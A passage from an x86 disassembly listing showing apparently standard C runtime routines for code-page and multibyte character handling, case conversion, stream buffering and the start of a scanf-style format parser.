		mov	esi, [esp+8+arg_C]


loc_41FE26:				; CODE XREF: sub_41FE15+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_41FDE0
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_41FE43
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_41FE26


loc_41FE43:				; CODE XREF: sub_41FE15+Bj
					; sub_41FE15+25j
		pop	edi
		pop	esi
		retn
sub_41FE15	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE46	proc near		; CODE XREF: sub_41F69F+670p
					; sub_41F69F+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_41FE7A
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_41FE5C:				; CODE XREF: sub_41FE46+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_41FDE0
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_41FE7A
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_41FE5C


loc_41FE7A:				; CODE XREF: sub_41FE46+Cj
					; sub_41FE46+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41FE46	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE7E	proc near		; CODE XREF: sub_41F69F+E5p
					; sub_41F69F+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_41FE7E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE8B	proc near		; CODE XREF: sub_41F69F+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_41FE8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE9B	proc near		; CODE XREF: sub_41F69F+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_41FE9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FEA9	proc near		; CODE XREF: sub_42026D+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420042	; GetOEMCP
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_4DCD84
		mov	[ebp+arg_0], esi
		jz	loc_420036
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_42002C
		xor	edx, edx
		mov	eax, offset dword_43CBE0


loc_41FEDD:				; CODE XREF: sub_41FEA9+41j
		cmp	[eax], esi
		jz	short loc_41FF53
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_43CCD0
		jl	short loc_41FEDD
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	dword_4271CC	; GetCPInfo
		cmp	eax, 1
		jnz	loc_420024
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DCEA0
		cmp	[ebp+var_18], 1
		mov	dword_4DCD84, esi
		rep stosd
		stosb
		mov	dword_4DCFA4, ebx
		jbe	loc_420012
		cmp	[ebp+var_12], 0
		jz	loc_41FFE8
		lea	ecx, [ebp+var_11]


loc_41FF30:				; CODE XREF: sub_41FEA9+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41FFE8
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_41FF41:				; CODE XREF: sub_41FEA9+A8j
		cmp	eax, edx
		ja	loc_41FFDC
		or	byte_4DCEA1[eax], 4
		inc	eax
		jmp	short loc_41FF41
; ---------------------------------------------------------------------------


loc_41FF53:				; CODE XREF: sub_41FEA9+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DCEA0
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_43CBF0[esi]


loc_41FF6F:				; CODE XREF: sub_41FEA9+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_41FFA2


loc_41FF76:				; CODE XREF: sub_41FEA9+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41FFA2
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41FF9B
		mov	edx, [ebp+var_4]
		mov	dl, byte_43CBD8[edx]


loc_41FF90:				; CODE XREF: sub_41FEA9+F0j
		or	byte_4DCEA1[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41FF90


loc_41FF9B:				; CODE XREF: sub_41FEA9+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41FF76


loc_41FFA2:				; CODE XREF: sub_41FEA9+CBj
					; sub_41FEA9+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_41FF6F
		mov	eax, [ebp+arg_0]
		mov	dword_4DCD9C, 1
		push	eax
		mov	dword_4DCD84, eax
		call	sub_42008C
		lea	esi, dword_43CBE4[esi]
		mov	edi, offset dword_4DCD90
		movsd
		movsd
		pop	ecx
		mov	dword_4DCFA4, eax
		movsd
		jmp	short loc_420031
; ---------------------------------------------------------------------------


loc_41FFDC:				; CODE XREF: sub_41FEA9+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41FF30


loc_41FFE8:				; CODE XREF: sub_41FEA9+7Ej
					; sub_41FEA9+8Bj
		push	1
		pop	eax


loc_41FFEB:				; CODE XREF: sub_41FEA9+14Fj
		or	byte_4DCEA1[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41FFEB
		push	esi
		call	sub_42008C
		pop	ecx
		mov	dword_4DCFA4, eax
		mov	dword_4DCD9C, 1
		jmp	short loc_420018
; ---------------------------------------------------------------------------


loc_420012:				; CODE XREF: sub_41FEA9+74j
		mov	dword_4DCD9C, ebx


loc_420018:				; CODE XREF: sub_41FEA9+167j
		xor	eax, eax
		mov	edi, offset dword_4DCD90
		stosd
		stosd
		stosd
		jmp	short loc_420031
; ---------------------------------------------------------------------------


loc_420024:				; CODE XREF: sub_41FEA9+51j
		cmp	dword_4DB9C0, ebx
		jz	short loc_42003A


loc_42002C:				; CODE XREF: sub_41FEA9+27j
		call	sub_4200BF


loc_420031:				; CODE XREF: sub_41FEA9+131j
					; sub_41FEA9+179j
		call	sub_4200E8


loc_420036:				; CODE XREF: sub_41FEA9+1Dj
		xor	eax, eax
		jmp	short loc_42003D
; ---------------------------------------------------------------------------


loc_42003A:				; CODE XREF: sub_41FEA9+181j
		or	eax, 0FFFFFFFFh


loc_42003D:				; CODE XREF: sub_41FEA9+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FEA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_420042	proc near		; CODE XREF: sub_41FEA9+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_4DB9C0, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_420062
		mov	dword_4DB9C0, 1
		jmp	dword_427060
; ---------------------------------------------------------------------------


loc_420062:				; CODE XREF: sub_420042+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_420077
		mov	dword_4DB9C0, 1
		jmp	dword_4271D0
; ---------------------------------------------------------------------------


loc_420077:				; CODE XREF: sub_420042+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_42008B
		mov	eax, dword_4DBA04
		mov	dword_4DB9C0, 1

locret_42008B:				; CODE XREF: sub_420042+38j
		retn
sub_420042	endp


; =============== S U B	R O U T	I N E =======================================



sub_42008C	proc near		; CODE XREF: sub_41FEA9+118p
					; sub_41FEA9+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_4200B9
		sub	eax, 4
		jz	short loc_4200B3
		sub	eax, 0Dh
		jz	short loc_4200AD
		dec	eax
		jz	short loc_4200A7
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4200A7:				; CODE XREF: sub_42008C+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_4200AD:				; CODE XREF: sub_42008C+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_4200B3:				; CODE XREF: sub_42008C+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_4200B9:				; CODE XREF: sub_42008C+9j
		mov	eax, 411h
		retn
sub_42008C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4200BF	proc near		; CODE XREF: sub_41FEA9:loc_42002Cp
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_4DCEA0
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_4DCD90
		mov	dword_4DCD84, eax
		mov	dword_4DCD9C, eax
		mov	dword_4DCFA4, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4200BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4200E8	proc near		; CODE XREF: sub_41FEA9:loc_420031p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_4DCD84
		call	dword_4271CC	; GetCPInfo
		cmp	eax, 1
		jnz	loc_420221
		xor	eax, eax
		mov	esi, 100h


loc_420112:				; CODE XREF: sub_4200E8+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_420112
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_420163
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_420131:				; CODE XREF: sub_4200E8+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_420158
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_420158:				; CODE XREF: sub_4200E8+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_420131
		pop	edi
		pop	ebx


loc_420163:				; CODE XREF: sub_4200E8+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_4DCFA4
		push	dword_4DCD84
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_423CEC
		push	0
		lea	eax, [ebp+var_214]
		push	dword_4DCD84
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_4DCFA4
		call	sub_422ACA
		push	0
		lea	eax, [ebp+var_314]
		push	dword_4DCD84
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_4DCFA4
		call	sub_422ACA
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_4201DE:				; CODE XREF: sub_4200E8+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_4201FC
		or	byte_4DCEA1[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_4201F4:				; CODE XREF: sub_4200E8+127j
		mov	byte_4DCDA0[eax], dl
		jmp	short loc_420218
; ---------------------------------------------------------------------------


loc_4201FC:				; CODE XREF: sub_4200E8+FCj
		test	dl, 2
		jz	short loc_420211
		or	byte_4DCEA1[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_4201F4
; ---------------------------------------------------------------------------


loc_420211:				; CODE XREF: sub_4200E8+117j
		and	byte_4DCDA0[eax], 0


loc_420218:				; CODE XREF: sub_4200E8+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_4201DE
		jmp	short loc_42026A
; ---------------------------------------------------------------------------


loc_420221:				; CODE XREF: sub_4200E8+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_420228:				; CODE XREF: sub_4200E8+180j
		cmp	eax, 41h
		jb	short loc_420246
		cmp	eax, 5Ah
		ja	short loc_420246
		or	byte_4DCEA1[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_42023E:				; CODE XREF: sub_4200E8+174j
		mov	byte_4DCDA0[eax], cl
		jmp	short loc_420265
; ---------------------------------------------------------------------------


loc_420246:				; CODE XREF: sub_4200E8+143j
					; sub_4200E8+148j
		cmp	eax, 61h
		jb	short loc_42025E
		cmp	eax, 7Ah
		ja	short loc_42025E
		or	byte_4DCEA1[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_42023E
; ---------------------------------------------------------------------------


loc_42025E:				; CODE XREF: sub_4200E8+161j
					; sub_4200E8+166j
		and	byte_4DCDA0[eax], 0


loc_420265:				; CODE XREF: sub_4200E8+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_420228


loc_42026A:				; CODE XREF: sub_4200E8+137j
		pop	esi
		leave
		retn
sub_4200E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_42026D	proc near		; CODE XREF: sub_422E72+9p
					; sub_422ECA+Dp ...
		cmp	dword_4DCFD4, 0
		jnz	short locret_420288
		push	0FFFFFFFDh
		call	sub_41FEA9
		pop	ecx
		mov	dword_4DCFD4, 1

locret_420288:				; CODE XREF: sub_42026D+7j
		retn
sub_42026D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420289	proc near		; CODE XREF: sub_41B9D1+2Bp
					; sub_41B9D1+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_4DCD9C, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_4202AD
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_41B5F0
		add	esp, 0Ch
		jmp	short loc_420310
; ---------------------------------------------------------------------------


loc_4202AD:				; CODE XREF: sub_420289+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_4202F2
		mov	ecx, [ebp+arg_4]


loc_4202B8:				; CODE XREF: sub_420289+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_4DCEA1[esi], 4
		mov	[edi], al
		jz	short loc_4202DC
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_4202E8
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_4202EE
		jmp	short loc_4202E2
; ---------------------------------------------------------------------------


loc_4202DC:				; CODE XREF: sub_420289+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_4202F2


loc_4202E2:				; CODE XREF: sub_420289+51j
		test	edx, edx
		jnz	short loc_4202B8
		jmp	short loc_4202F2
; ---------------------------------------------------------------------------


loc_4202E8:				; CODE XREF: sub_420289+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_4202F2
; ---------------------------------------------------------------------------


loc_4202EE:				; CODE XREF: sub_420289+4Fj
		and	byte ptr [edi-2], 0


loc_4202F2:				; CODE XREF: sub_420289+2Aj
					; sub_420289+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_42030D
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_42030D:				; CODE XREF: sub_420289+6Fj
		mov	eax, [ebp+arg_0]


loc_420310:				; CODE XREF: sub_420289+22j
		pop	edi
		pop	ebp
		retn
sub_420289	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420313	proc near		; CODE XREF: sub_41BBBD+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DB9F4, 0
		push	ebx
		jnz	short loc_42033E
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_4203DC
		cmp	eax, 7Ah
		jg	loc_4203DC
		sub	eax, 20h
		jmp	loc_4203DC
; ---------------------------------------------------------------------------


loc_42033E:				; CODE XREF: sub_420313+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_420371
		cmp	dword_43CBC4, 1
		jle	short loc_42035E
		push	2
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420369
; ---------------------------------------------------------------------------


loc_42035E:				; CODE XREF: sub_420313+3Dj
		mov	eax, off_43C9B8
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_420369:				; CODE XREF: sub_420313+49j
		test	eax, eax
		jnz	short loc_420371


loc_42036D:				; CODE XREF: sub_420313+AFj
		mov	eax, ebx
		jmp	short loc_4203DC
; ---------------------------------------------------------------------------


loc_420371:				; CODE XREF: sub_420313+34j
					; sub_420313+58j
		mov	edx, off_43C9B8
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_420394
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_42039D
; ---------------------------------------------------------------------------


loc_420394:				; CODE XREF: sub_420313+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_42039D:				; CODE XREF: sub_420313+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_4DB9F4
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_42036D
		cmp	eax, 1
		jnz	short loc_4203CF
		movzx	eax, [ebp+var_4]
		jmp	short loc_4203DC
; ---------------------------------------------------------------------------


loc_4203CF:				; CODE XREF: sub_420313+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_4203DC:				; CODE XREF: sub_420313+14j
					; sub_420313+1Dj ...
		pop	ebx
		leave
		retn
sub_420313	endp


; =============== S U B	R O U T	I N E =======================================



sub_4203DF	proc near		; CODE XREF: sub_41BDDC+1Dp
					; sub_41D3BE+16p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_4DB93C, ecx
		mov	eax, offset dword_43CCD0


loc_4203F0:				; CODE XREF: sub_4203DF+1Ej
		cmp	ecx, [eax]
		jz	short loc_420414
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_43CE38
		jl	short loc_4203F0
		cmp	ecx, 13h
		jb	short loc_420421
		cmp	ecx, 24h
		ja	short loc_420421
		mov	dword_4DB938, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_420414:				; CODE XREF: sub_4203DF+13j
		mov	eax, dword_43CCD4[edx*8]
		mov	dword_4DB938, eax
		retn
; ---------------------------------------------------------------------------


loc_420421:				; CODE XREF: sub_4203DF+23j
					; sub_4203DF+28j
		cmp	ecx, 0BCh
		jb	short loc_42043B
		cmp	ecx, 0CAh
		mov	dword_4DB938, 8
		jbe	short locret_420445


loc_42043B:				; CODE XREF: sub_4203DF+48j
		mov	dword_4DB938, 16h

locret_420445:				; CODE XREF: sub_4203DF+5Aj
		retn
sub_4203DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_420446	proc near		; CODE XREF: sub_41BE06+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_423E35
		test	eax, eax
		pop	ecx
		jz	short loc_4204CF
		cmp	esi, offset dword_43D0C8
		jnz	short loc_420464
		xor	eax, eax
		jmp	short loc_42046F
; ---------------------------------------------------------------------------


loc_420464:				; CODE XREF: sub_420446+18j
		cmp	esi, offset dword_43D0E8
		jnz	short loc_4204CF
		push	1
		pop	eax


loc_42046F:				; CODE XREF: sub_420446+1Cj
		inc	dword_4DBB20
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_4204CF
		cmp	dword_4DB9C4[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:4DB9C4h[eax*4]
		mov	ebx, 1000h
		jnz	short loc_4204B5
		push	ebx
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_4204B5
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_4204C2
; ---------------------------------------------------------------------------


loc_4204B5:				; CODE XREF: sub_420446+4Dj
					; sub_420446+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_4204C2:				; CODE XREF: sub_420446+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4204CF:				; CODE XREF: sub_420446+10j
					; sub_420446+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_420446	endp


; =============== S U B	R O U T	I N E =======================================



sub_4204D3	proc near		; CODE XREF: sub_41BE06+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_4204FD
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_42050E
		push	esi
		call	sub_41DB8B
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4204FD:				; CODE XREF: sub_4204D3+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_42050E
		push	eax
		call	sub_41DB8B
		pop	ecx


loc_42050E:				; CODE XREF: sub_4204D3+10j
					; sub_4204D3+32j
		pop	esi
		retn
sub_4204D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420510	proc near		; CODE XREF: sub_41C645+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_420F16
		mov	edi, [ebp+arg_0]
		jmp	short loc_42053F
; ---------------------------------------------------------------------------


loc_42053A:				; CODE XREF: sub_420510+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_42053F:				; CODE XREF: sub_420510+28j
		cmp	dword_43CBC4, 1
		jle	short loc_420557
		movzx	eax, al
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420566
; ---------------------------------------------------------------------------


loc_420557:				; CODE XREF: sub_420510+36j
		mov	ecx, off_43C9B8
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_420566:				; CODE XREF: sub_420510+45j
		cmp	eax, ebx
		jz	short loc_4205A0
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_420F9D
		pop	ecx
		pop	ecx
		push	eax
		call	sub_420F86
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41D670
		add	esp, 0Ch


loc_42058E:				; CODE XREF: sub_420510+8Ej
		test	eax, eax
		jz	short loc_4205A0
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41D670
		pop	ecx
		jmp	short loc_42058E
; ---------------------------------------------------------------------------


loc_4205A0:				; CODE XREF: sub_420510+58j
					; sub_420510+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_420E82
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_4205D7:				; CODE XREF: sub_420510+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_43CBC4, 1
		jle	short loc_4205F4
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420603
; ---------------------------------------------------------------------------


loc_4205F4:				; CODE XREF: sub_420510+D3j
		mov	ecx, off_43C9B8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_420603:				; CODE XREF: sub_420510+E2j
		test	eax, eax
		jz	short loc_420619
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420619:				; CODE XREF: sub_420510+F5j
		cmp	ebx, 4Eh
		jg	short loc_42065C
		jz	short loc_42067E
		cmp	ebx, 2Ah
		jz	short loc_420657
		cmp	ebx, 46h
		jz	short loc_42067E
		cmp	ebx, 49h
		jz	short loc_420639
		cmp	ebx, 4Ch
		jnz	short loc_42066B
		inc	[ebp+var_D]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420639:				; CODE XREF: sub_420510+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_42066B
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_42066B
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420657:				; CODE XREF: sub_420510+113j
		inc	[ebp+var_E]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_42065C:				; CODE XREF: sub_420510+10Cj
		cmp	ebx, 68h
		jz	short loc_420678
		cmp	ebx, 6Ch
		jz	short loc_420670
		cmp	ebx, 77h
		jz	short loc_420673


loc_42066B:				; CODE XREF: sub_420510+122j
					; sub_420510+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420670:				; CODE XREF: sub_420510+154j
		inc	[ebp+var_D]


loc_420673:				; CODE XREF: sub_420510+159j
		inc	[ebp+var_5]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420678:				; CODE XREF: sub_420510+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_42067E:				; CODE XREF: sub_420510+107j
					; sub_420510+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_4205D7
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_4206A3
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_4206A3:				; CODE XREF: sub_420510+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_4206C1
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_4206BD
		cmp	al, 43h
		jz	short loc_4206BD
		or	[ebp+var_5], 0FFh
		jmp	short loc_4206C1
; ---------------------------------------------------------------------------


loc_4206BD:				; CODE XREF: sub_420510+1A1j
					; sub_420510+1A5j
		mov	[ebp+var_5], 1


loc_4206C1:				; CODE XREF: sub_420510+19Bj
					; sub_420510+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_4206FA
		cmp	esi, 63h
		jz	short loc_4206EB
